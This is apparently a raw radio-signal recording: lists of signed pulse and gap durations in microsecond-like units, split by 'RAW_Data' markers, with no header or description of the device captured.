-64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 199 -88 147 -104 124 -355 158 -315 89 -74 65 -150 51 -84 61 -685 55 -76 71 -298 67 -199 53 -129 141 -357 104 -205 59 -322 63 -136 79 -265 110 -190 51 -327 81 -553 59 -286 197 -80 63 -138 148 -62 59 -226 102 -149 53 -345 71 -601 95 -110 71 -315 57 -70 79 -72 51 -58 57 -124 86 -128 53 -596 51 -353 79 -264 95 -151 85 -376 67 -64 53 -604 67 -140 97 -321 59 -82 106 -54 65 -271 87 -765 77 -173 -RAW_Data: 71 -192 251 -112 71 -302 111 -270 57 -60 121 -58 89 -70 161 -171 61 -401 53 -143 81 -465 69 -142 82 -206 71 -115 158 -167 69 -62 57 -174 99 -82 51 -253 89 -146 71 -347 141 -92 59 -128 59 -146 141 -83 53 -855 71 -98 71 -161 254 -109 69 -246 184 -120 101 -508 179 -84 183 -456 57 -90 109 -238 135 -241 89 -120 51 -200 65 -933 131 -62 63 -656 88 -98 81 -54 97 -127 89 -1025 137 -553 159 -54 61 -253 51 -644 61 -54 81 -105 89 -166 53 -272 79 -197 78 -321 99 -62 92 -152 167 -427 79 -574 96 -375 95 -426 77 -190 65 -418 102 -511 170 -108 164 -300 189 -262 61 -129 53 -254 97 -503 53 -465 93 -219 63 -376 61 -122 175 -144 87 -82 116 -468 85 -82 101 -445 55 -577 51 -132 89 -132 55 -229 149 -539 1081 -56 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 127 -64 63 -126 127 -64 63 -126 63 -64 61 -64 61 -64 63 -64 63 -62 127 -66 61 -64 61 -64 63 -128 127 -64 63 -126 63 -62 63 -64 125 -130 63 -62 61 -64 63 -62 63 -64 127 -128 63 -64 61 -64 125 -130 127 -56 69 -126 127 -128 127 -128 55 -70 125 -64 61 -64 61 -64 63 -64 61 -128 129 -64 61 -62 63 -64 61 -64 63 -64 63 -62 63 -64 63 -128 127 -64 61 -64 61 -128 63 -64 127 -128 63 -62 63 -62 127 -128 63 -64 61 -62 63 -64 127 -128 63 -64 61 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 127 -64 63 -64 61 -128 63 -64 61 -64 63 -62 63 -64 63 -64 127 -128 63 -62 63 -62 127 -128 63 -64 61 -62 127 -130 127 -56 69 -126 127 -64 63 -126 63 -62 127 -64 63 -126 127 -128 127 -128 127 -118 63 -62 69 -64 61 -64 127 -64 63 -126 129 -64 61 -126 63 -64 125 -64 63 -62 63 -64 63 -62 63 -128 129 -64 61 -62 317 -174 139 -443 96 -429 153 -315 89 -264 51 -227 89 -68 51 -162 67 -158 111 -60 51 -180 113 -335 61 -344 65 -228 89 -116 61 -92 61 -66 177 -52 141 -208 53 -229 191 -90 110 -142 69 -171 103 -179 53 -367 69 -144 -RAW_Data: 57 -218 115 -80 53 -142 135 -158 71 -288 89 -187 79 -288 61 -240 53 -96 119 -143 123 -54 53 -102 51 -62 67 -222 151 -266 69 -290 111 -212 67 -455 113 -231 75 -282 59 -290 162 -331 57 -94 67 -72 63 -134 55 -168 53 -427 88 -396 168 -232 59 -78 51 -764 113 -186 94 -94 59 -387 102 -386 254 -219 81 -144 63 -192 67 -64 101 -630 80 -168 115 -427 63 -112 141 -128 53 -96 79 -274 217 -60 51 -68 187 -403 110 -574 89 -208 154 -72 63 -248 71 -97 97 -80 67 -333 93 -132 65 -132 53 -279 96 -98 81 -52 127 -141 53 -234 69 -152 83 -217 61 -103 73 -162 83 -220 169 -806 51 -190 131 -614 164 -855 67 -173 59 -98 53 -90 67 -52 53 -140 200 -54 144 -172 103 -659 93 -70 53 -74 51 -113 165 -68 51 -918 67 -104 53 -62 127 -299 212 -132 164 -374 51 -106 59 -167 79 -197 53 -144 149 -264 53 -189 75 -54 85 -454 163 -200 85 -86 83 -80 83 -665 97 -76 88 -204 154 -181 90 -203 124 -223 101 -134 59 -360 53 -60 152 -361 131 -488 53 -52 59 -88 151 -127 81 -146 149 -225 71 -126 105 -88 154 -225 83 -200 108 -279 53 -66 96 -553 51 -253 55 -116 53 -447 87 -98 84 -137 206 -467 77 -140 59 -227 53 -106 59 -137 97 -125 53 -169 88 -121 69 -74 132 -54 53 -62 125 -225 133 -136 117 -234 127 -64 53 -128 137 -302 301 -68 67 -130 146 -126 111 -68 99 -124 149 -142 185 -120 170 -56 89 -62 224 -89 88 -302 155 -122 59 -127 51 -104 160 -90 79 -84 143 -82 354 -64 142 -178 91 -140 67 -52 51 -594 105 -153 151 -82 125 -104 124 -78 114 -54 89 -186 88 -192 79 -54 241 -482 184 -136 53 -1331 51 -334 75 -254 237 -344 67 -590 77 -100 79 -797 63 -382 198 -136 127 -446 53 -116 71 -1036 57 -146 73 -68 53 -70 80 -653 53 -62 110 -188 149 -108 51 -112 61 -730 107 -1017 127 -452 69 -136 53 -248 88 -236 89 -72 79 -139 63 -82 97 -388 225 -116 61 -208 106 -412 63 -163 51 -72 83 -117 53 -98 68 -224 53 -70 53 -54 53 -110 53 -564 75 -72 61 -334 59 -93 89 -106 69 -284 59 -409 71 -422 220 -216 188 -460 59 -112 124 -155 51 -76 81 -132 98 -210 59 -395 119 -438 65 -70 53 -215 83 -123 203 -144 63 -84 89 -86 67 -139 236 -222 67 -967 152 -134 57 -274 81 -484 53 -208 51 -480 171 -151 71 -176 53 -428 81 -224 71 -281 96 -246 -RAW_Data: 116 -174 57 -54 132 -233 135 -460 160 -259 97 -94 121 -258 88 -424 61 -525 53 -121 51 -200 77 -102 97 -438 51 -264 61 -382 125 -426 167 -427 120 -162 53 -152 105 -227 98 -98 53 -384 63 -76 63 -451 67 -700 53 -190 88 -124 130 -54 53 -126 78 -313 135 -219 61 -68 71 -180 89 -888 51 -523 177 -538 53 -257 51 -306 61 -251 95 -110 100 -72 80 -599 63 -188 98 -226 59 -119 53 -314 110 -92 77 -70 63 -98 73 -112 112 -203 126 -279 53 -557 99 -475 212 -183 61 -280 67 -264 104 -115 53 -107 112 -96 67 -60 115 -209 61 -150 120 -154 155 -335 149 -54 120 -54 87 -136 53 -62 99 -62 81 -194 95 -78 71 -362 111 -118 67 -199 142 -70 71 -54 67 -190 305 -157 101 -76 53 -98 140 -68 81 -58 303 -148 83 -94 83 -233 53 -52 102 -181 133 -180 456 -76 446 -196 97 -60 147 -81 104 -320 115 -70 118 -88 71 -179 63 -130 245 -90 176 -115 95 -80 207 -97 380 -77 116 -60 187 -98 77 -82 205 -203 127 -163 171 -144 77 -62 75 -52 83 -118 59 -66 148 -78 142 -90 224 -60 200 -177 322 -174 59 -74 89 -84 73 -78 89 -202 65 -80 61 -164 316 -58 153 -76 89 -114 111 -211 321 -54 195 -54 67 -90 108 -76 105 -199 178 -134 82 -135 61 -114 51 -133 239 -142 71 -160 330 -85 204 -277 75 -248 151 -271 210 -88 159 -178 143 -236 271 -118 53 -60 51 -162 103 -405 63 -738 194 -60 67 -108 99 -52 59 -100 93 -60 105 -178 75 -129 319 -90 99 -678 125 -582 53 -559 114 -281 53 -54 138 -130 128 -214 251 -684 81 -385 71 -199 249 -82 73 -406 81 -365 96 -58 53 -241 53 -284 99 -577 51 -714 77 -116 88 -64 61 -82 65 -129 55 -114 53 -194 51 -127 89 -108 75 -168 53 -886 53 -70 126 -908 95 -136 67 -142 57 -132 61 -446 97 -80 65 -69 67 -1061 189 -103 77 -318 79 -403 59 -160 94 -374 61 -126 89 -666 59 -253 59 -500 113 -210 51 -234 143 -218 57 -126 53 -464 93 -467 107 -106 53 -458 53 -201 94 -72 65 -309 109 -116 69 -279 88 -483 59 -172 73 -486 57 -136 71 -189 82 -94 87 -357 63 -88 107 -222 91 -185 73 -659 61 -417 61 -178 59 -90 86 -74 75 -228 51 -429 67 -277 102 -140 133 -717 53 -64 555 -56 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 -RAW_Data: 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 193 -54 97 -76 61 -52 59 -128 95 -83 141 -100 77 -115 291 -187 118 -74 107 -766 59 -223 53 -172 178 -425 77 -458 59 -308 71 -242 90 -217 108 -320 53 -379 111 -204 138 -122 71 -68 77 -162 69 -74 109 -68 87 -130 159 -88 51 -713 53 -72 152 -341 59 -222 107 -496 75 -54 79 -160 71 -880 99 -169 87 -135 53 -219 51 -304 74 -260 105 -54 61 -156 97 -114 81 -134 84 -96 97 -74 103 -134 92 -584 61 -72 99 -1177 71 -114 91 -106 182 -84 79 -355 168 -133 85 -427 51 -234 51 -556 71 -122 71 -193 132 -393 55 -304 88 -100 95 -408 113 -174 79 -163 107 -572 143 -76 119 -98 75 -112 59 -72 71 -135 106 -98 77 -68 81 -276 140 -213 114 -226 53 -76 55 -167 89 -290 116 -122 97 -114 73 -150 61 -180 51 -306 82 -90 71 -559 -RAW_Data: 53 -166 53 -62 87 -52 61 -72 73 -368 75 -80 67 -124 127 -580 85 -76 81 -488 87 -243 77 -56 53 -66 61 -97 124 -603 81 -585 109 -406 71 -76 51 -64 63 -149 75 -62 124 -140 97 -96 53 -90 51 -54 91 -210 90 -66 111 -156 65 -708 53 -372 57 -254 57 -54 104 -90 77 -445 89 -102 85 -560 75 -104 107 -290 92 -144 115 -278 53 -200 93 -106 75 -160 104 -104 51 -128 51 -85 73 -266 75 -232 69 -98 53 -90 103 -54 158 -182 55 -343 51 -463 1203 -54 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 127 -64 63 -126 127 -64 63 -126 63 -64 61 -64 61 -64 63 -64 63 -62 127 -64 63 -64 61 -64 63 -128 127 -64 63 -126 63 -62 63 -62 127 -130 63 -62 61 -64 61 -64 63 -64 127 -128 127 -128 127 -128 125 -56 69 -126 127 -128 127 -128 55 -70 125 -64 61 -64 61 -64 63 -62 63 -128 129 -64 61 -62 63 -64 61 -64 63 -64 63 -62 63 -64 63 -128 127 -64 61 -64 61 -128 63 -64 125 -130 63 -62 61 -64 127 -128 63 -62 63 -62 63 -64 127 -128 63 -62 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 127 -64 63 -62 63 -128 63 -62 63 -64 61 -64 63 -64 63 -62 129 -128 63 -62 63 -62 127 -128 63 -62 63 -62 127 -128 129 -56 69 -126 127 -64 61 -128 63 -62 127 -64 63 -126 127 -128 127 -128 127 -126 55 -62 69 -62 63 -64 127 -64 63 -126 129 -64 61 -126 63 -64 61 -64 61 -64 127 -64 63 -64 61 -64 63 -64 61 -64 63 -64 265 -240 61 -126 71 -420 65 -160 67 -541 152 -455 179 -159 81 -272 53 -190 153 -68 59 -524 142 -300 51 -68 63 -609 91 -543 61 -567 90 -56 97 -128 67 -120 137 -74 183 -471 63 -154 121 -180 57 -96 89 -158 74 -838 53 -388 96 -86 96 -177 142 -122 59 -74 85 -434 134 -301 65 -209 80 -188 95 -80 97 -142 146 -70 99 -54 123 -289 67 -154 83 -68 59 -68 103 -312 105 -218 85 -298 83 -52 77 -86 101 -142 93 -312 53 -74 114 -64 105 -325 81 -297 59 -590 153 -72 71 -112 73 -52 -RAW_Data: 83 -62 108 -314 57 -108 115 -408 99 -301 165 -440 63 -426 114 -439 104 -332 132 -398 214 -162 97 -93 111 -542 107 -90 115 -337 96 -420 63 -91 149 -149 356 -264 186 -275 53 -1437 67 -106 132 -1446 61 -847 51 -461 53 -453 83 -335 53 -108 57 -152 81 -545 102 -143 156 -134 81 -80 90 -178 98 -344 175 -224 97 -242 75 -268 129 -118 163 -135 51 -322 51 -92 57 -1281 110 -54 97 -200 51 -216 145 -144 76 -467 114 -82 115 -411 67 -78 61 -120 51 -458 59 -201 89 -112 57 -345 81 -402 75 -60 67 -367 61 -85 138 -56 97 -142 85 -87 51 -68 55 -260 71 -415 79 -104 89 -54 82 -116 71 -498 119 -52 133 -167 61 -689 53 -118 97 -342 141 -246 63 -995 69 -148 57 -221 92 -262 97 -160 89 -172 53 -62 71 -72 115 -270 61 -131 81 -98 128 -80 89 -423 71 -161 238 -190 149 -110 253 -76 94 -54 79 -123 92 -515 59 -136 84 -62 96 -243 53 -222 63 -452 132 -98 115 -142 57 -247 53 -215 75 -122 156 -60 96 -379 79 -54 67 -80 175 -88 89 -181 51 -252 61 -216 92 -86 51 -184 142 -56 129 -279 78 -181 72 -241 219 -118 83 -141 83 -185 296 -68 67 -89 53 -60 248 -88 86 -90 53 -227 79 -58 75 -60 135 -80 97 -275 127 -58 358 -76 210 -103 256 -97 358 -191 261 -58 69 -209 69 -336 273 -72 105 -70 55 -93 57 -126 413 -133 197 -176 118 -98 73 -283 113 -202 57 -139 61 -170 372 -72 75 -213 87 -66 116 -64 326 -231 53 -81 87 -70 179 -281 182 -120 154 -62 139 -231 79 -152 148 -110 86 -142 97 -84 67 -1576 107 -349 98 -210 109 -252 89 -384 67 -58 69 -60 144 -269 73 -478 59 -234 85 -685 138 -150 125 -186 94 -54 51 -500 106 -232 53 -62 121 -80 61 -64 53 -849 65 -212 59 -460 59 -168 122 -54 65 -454 53 -90 53 -349 99 -328 107 -356 53 -90 51 -316 202 -139 77 -149 125 -126 53 -721 71 -512 63 -88 53 -388 53 -114 195 -98 99 -98 89 -291 99 -413 81 -122 124 -643 105 -178 63 -166 59 -1832 63 -283 81 -168 67 -259 159 -106 88 -82 83 -533 84 -301 61 -126 79 -326 90 -110 95 -205 90 -323 109 -871 53 -162 71 -98 63 -108 59 -284 67 -309 61 -932 51 -110 157 -82 96 -124 96 -98 112 -249 112 -173 67 -68 91 -425 81 -230 299 -689 182 -639 106 -62 63 -268 51 -301 61 -136 131 -94 61 -52 150 -228 75 -153 53 -142 67 -969 53 -426 -RAW_Data: 127 -128 127 -56 69 -62 61 -64 61 -130 63 -62 127 -128 63 -64 125 -128 127 -56 69 -62 63 -128 63 -62 127 -128 127 -56 69 -126 315 -66 98 -270 142 -267 81 -72 79 -370 69 -54 53 -160 107 -68 183 -72 53 -64 53 -281 105 -202 95 -133 87 -231 116 -174 120 -155 151 -561 69 -124 144 -442 51 -349 87 -146 103 -100 106 -180 61 -164 83 -374 69 -142 69 -62 81 -116 167 -656 71 -66 221 -76 172 -62 97 -457 195 -258 110 -194 116 -64 115 -72 65 -56 232 -220 51 -54 85 -148 109 -64 96 -261 65 -111 53 -228 175 -203 71 -62 97 -338 53 -108 85 -74 59 -94 57 -169 79 -442 85 -189 69 -328 97 -100 65 -300 142 -522 70 -480 87 -319 59 -216 77 -100 51 -68 59 -148 117 -711 63 -197 53 -277 75 -682 69 -435 77 -114 103 -62 53 -376 79 -147 67 -82 79 -383 116 -108 96 -154 53 -334 61 -162 84 -400 61 -90 53 -108 77 -729 53 -707 61 -62 59 -108 61 -115 57 -591 88 -247 51 -196 113 -274 51 -105 87 -76 102 -121 112 -157 116 -185 73 -194 171 -134 51 -150 88 -387 53 -188 53 -554 53 -171 53 -192 53 -552 79 -52 95 -52 105 -108 135 -116 71 -589 75 -157 53 -820 61 -247 61 -100 116 -58 57 -172 90 -479 160 -128 102 -432 123 -699 53 -196 71 -62 95 -563 81 -608 65 -257 51 -738 61 -226 83 -115 163 -461 95 -88 53 -72 72 -385 115 -521 53 -285 209 -94 53 -116 73 -274 156 -118 67 -76 105 -58 131 -139 214 -171 55 -91 67 -137 79 -89 88 -118 130 -199 53 -113 89 -205 59 -116 63 -193 99 -54 59 -288 61 -219 199 -72 81 -149 95 -527 108 -203 151 -172 65 -211 94 -178 142 -60 73 -257 110 -200 117 -90 328 -90 107 -108 258 -231 108 -150 287 -100 98 -362 81 -263 105 -150 81 -120 69 -138 81 -143 91 -80 121 -148 220 -60 53 -133 112 -90 159 -410 99 -169 59 -235 135 -175 118 -138 116 -320 122 -165 106 -445 85 -181 124 -62 113 -207 53 -202 97 -154 73 -132 65 -375 107 -125 178 -294 51 -187 51 -72 79 -130 103 -243 122 -65 133 -182 89 -335 99 -58 71 -480 51 -501 53 -54 71 -368 81 -106 67 -944 131 -424 176 -70 73 -280 65 -66 51 -158 129 -98 53 -580 123 -52 51 -200 53 -500 94 -251 67 -347 167 -90 51 -777 51 -98 53 -179 61 -142 63 -422 51 -886 51 -417 124 -407 125 -1282 61 -283 97 -488 102 -134 51 -465 57 -164 212 -349 -RAW_Data: 78 -597 51 -54 63 -149 59 -121 55 -98 55 -194 107 -162 53 -158 142 -409 73 -111 65 -151 89 -378 65 -134 57 -54 53 -182 133 -100 53 -807 69 -381 89 -744 59 -250 51 -138 63 -387 132 -196 51 -126 79 -246 89 -301 53 -120 111 -312 57 -544 57 -431 59 -241 115 -112 78 -90 143 -74 61 -428 88 -208 71 -134 114 -185 85 -496 53 -149 115 -586 139 -156 123 -84 61 -143 73 -377 157 -82 61 -72 53 -158 77 -72 64 -74 83 -277 183 -114 53 -324 53 -295 67 -193 94 -110 67 -361 105 -410 71 -64 61 -142 63 -144 67 -90 53 -196 106 -166 96 -54 148 -234 51 -94 71 -195 53 -435 129 -325 122 -144 149 -560 156 -383 81 -496 59 -96 75 -709 53 -60 69 -403 84 -54 67 -566 53 -465 179 -70 69 -152 112 -128 69 -546 96 -76 97 -610 105 -98 67 -215 99 -62 61 -56 97 -52 95 -122 111 -72 81 -152 194 -253 79 -242 88 -142 100 -120 99 -62 119 -445 53 -124 63 -80 123 -377 105 -159 67 -68 134 -72 55 -138 75 -149 65 -66 61 -92 158 -160 89 -161 51 -116 105 -149 59 -263 154 -166 77 -113 51 -92 51 -68 51 -68 151 -60 53 -312 67 -144 69 -115 83 -114 113 -463 93 -172 135 -52 53 -425 129 -126 61 -78 57 -84 113 -550 166 -72 53 -78 69 -184 65 -106 67 -90 83 -124 75 -126 157 -329 79 -334 88 -1024 59 -189 77 -625 67 -423 53 -561 53 -84 97 -198 71 -86 55 -461 61 -304 263 -107 148 -213 92 -673 63 -148 71 -490 61 -90 71 -170 87 -415 53 -214 81 -633 59 -235 59 -328 75 -692 51 -158 59 -134 171 -82 61 -117 53 -62 53 -82 61 -118 53 -178 114 -108 107 -145 81 -320 152 -134 100 -54 53 -177 92 -391 75 -241 51 -84 165 -538 81 -165 51 -316 231 -197 79 -394 51 -283 53 -488 115 -362 51 -246 63 -72 53 -60 81 -632 118 -112 71 -378 204 -744 69 -205 59 -703 69 -213 102 -100 59 -163 98 -233 89 -88 182 -150 112 -68 75 -442 123 -154 67 -86 251 -133 81 -106 208 -64 121 -195 79 -185 150 -86 53 -198 272 -89 370 -258 61 -333 59 -111 51 -200 97 -538 53 -54 221 -609 145 -221 77 -98 112 -114 59 -176 59 -137 67 -508 104 -193 57 -143 53 -190 171 -455 71 -592 221 -152 96 -97 83 -111 79 -340 61 -1104 91 -186 63 -52 59 -292 53 -72 78 -155 61 -234 51 -278 53 -742 80 -292 77 -258 75 -261 67 -216 51 -226 103 -68 51 -161 -RAW_Data: 71 -185 77 -215 59 -212 111 -178 53 -52 59 -60 81 -800 89 -250 61 -74 67 -98 142 -80 211 -734 97 -668 53 -766 77 -181 71 -144 573 -56 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 201 -158 51 -564 71 -204 148 -239 53 -443 55 -229 106 -124 80 -312 75 -272 86 -583 79 -170 67 -149 134 -247 59 -797 186 -499 69 -451 81 -54 53 -60 97 -230 51 -84 97 -142 51 -359 75 -172 91 -426 65 -438 65 -464 57 -546 51 -203 89 -215 51 -191 268 -107 53 -169 143 -62 67 -82 69 -74 51 -204 71 -84 57 -97 71 -216 97 -54 71 -201 97 -172 53 -1061 53 -183 67 -144 71 -428 114 -431 69 -236 71 -479 99 -116 75 -70 94 -178 69 -349 53 -222 -RAW_Data: 102 -227 67 -90 156 -218 127 -260 124 -664 51 -663 159 -78 69 -72 168 -200 134 -68 67 -86 85 -341 61 -451 132 -150 77 -339 55 -337 61 -542 173 -250 53 -520 53 -243 53 -527 61 -90 83 -242 125 -105 252 -289 107 -343 51 -205 51 -258 97 -90 101 -541 107 -514 57 -206 51 -122 69 -280 126 -170 71 -537 79 -161 125 -98 59 -439 71 -124 57 -72 51 -95 83 -262 95 -431 95 -66 115 -426 51 -305 71 -182 108 -259 65 -325 172 -60 81 -90 154 -66 53 -358 129 -150 97 -54 93 -236 51 -172 188 -296 86 -360 59 -593 71 -268 53 -210 93 -129 61 -144 87 -450 83 -172 74 -97 69 -190 51 -90 140 -185 185 -170 105 -90 67 -258 89 -283 109 -107 51 -106 1175 -56 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 127 -64 63 -128 127 -64 61 -128 63 -62 63 -62 63 -64 63 -62 63 -64 127 -64 63 -62 63 -64 61 -128 129 -64 61 -126 65 -62 63 -62 127 -128 63 -64 61 -64 61 -64 63 -64 127 -128 63 -62 63 -62 127 -128 127 -56 69 -126 129 -128 127 -126 55 -70 125 -64 63 -62 63 -64 63 -62 63 -128 127 -64 63 -62 63 -62 63 -64 63 -62 63 -64 63 -64 61 -128 129 -64 61 -62 63 -128 63 -64 125 -128 63 -64 61 -64 125 -130 63 -62 63 -62 63 -64 127 -128 63 -62 63 -62 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 127 -64 61 -64 63 -128 63 -62 63 -64 61 -64 63 -62 63 -64 127 -128 127 -128 127 -56 69 -62 61 -64 63 -64 61 -130 127 -128 127 -56 69 -62 61 -64 63 -128 63 -62 63 -64 125 -66 61 -64 61 -64 63 -64 63 -128 63 -62 127 -128 127 -56 69 -62 63 -64 61 -128 65 -62 63 -62 127 -128 65 -62 61 -64 127 -128 63 -62 63 -62 127 -64 273 -177 112 -290 51 -96 53 -238 63 -130 73 -382 133 -765 97 -142 84 -327 85 -888 107 -76 61 -435 53 -304 83 -121 53 -90 53 -82 89 -956 186 -353 63 -478 51 -238 121 -183 73 -118 53 -709 133 -172 78 -70 51 -114 99 -236 51 -86 53 -397 160 -54 113 -215 -RAW_Data: 105 -299 113 -220 183 -62 53 -169 89 -126 63 -114 53 -62 128 -469 93 -955 55 -225 137 -191 99 -962 104 -194 161 -487 195 -58 71 -102 160 -188 81 -227 293 -294 99 -184 63 -409 81 -76 53 -478 61 -64 150 -300 67 -134 51 -114 114 -72 53 -54 51 -244 67 -68 53 -377 105 -169 51 -98 55 -273 71 -167 116 -413 109 -90 79 -203 83 -617 113 -198 53 -136 94 -150 79 -164 86 -304 81 -144 53 -943 113 -504 67 -348 75 -154 102 -662 149 -143 53 -247 115 -130 182 -214 100 -578 53 -167 112 -139 108 -56 53 -54 161 -146 95 -88 63 -609 83 -122 106 -1102 53 -142 65 -189 97 -112 61 -330 98 -241 67 -643 53 -132 121 -256 71 -62 107 -408 69 -706 73 -68 63 -124 91 -110 75 -70 88 -76 73 -344 132 -241 85 -116 59 -785 101 -335 51 -340 51 -330 63 -200 71 -214 127 -300 51 -356 117 -88 59 -93 81 -188 69 -157 51 -527 108 -378 121 -60 93 -179 65 -169 53 -360 122 -90 150 -455 152 -221 70 -86 61 -345 122 -147 83 -108 97 -64 97 -84 65 -105 107 -84 107 -130 86 -282 99 -173 81 -54 69 -354 67 -84 166 -200 89 -116 85 -193 186 -370 93 -214 71 -90 61 -196 71 -116 51 -549 264 -80 53 -113 99 -159 71 -80 97 -176 169 -124 193 -195 159 -62 67 -184 61 -350 329 -163 65 -272 151 -259 53 -288 69 -96 96 -102 204 -52 61 -106 93 -312 53 -314 83 -348 61 -54 71 -169 53 -86 113 -54 187 -70 53 -72 71 -160 63 -76 55 -60 73 -192 89 -309 61 -130 67 -127 61 -242 71 -52 63 -126 89 -108 104 -62 69 -106 63 -1722 95 -98 53 -72 178 -132 53 -321 51 -90 53 -542 89 -414 73 -194 81 -114 53 -445 83 -64 91 -781 88 -142 122 -461 154 -253 105 -323 63 -374 51 -328 105 -82 129 -802 69 -526 65 -310 63 -658 101 -729 89 -301 59 -598 77 -214 79 -514 81 -52 53 -94 132 -319 142 -242 81 -505 99 -462 71 -98 69 -625 63 -144 61 -324 81 -305 73 -54 53 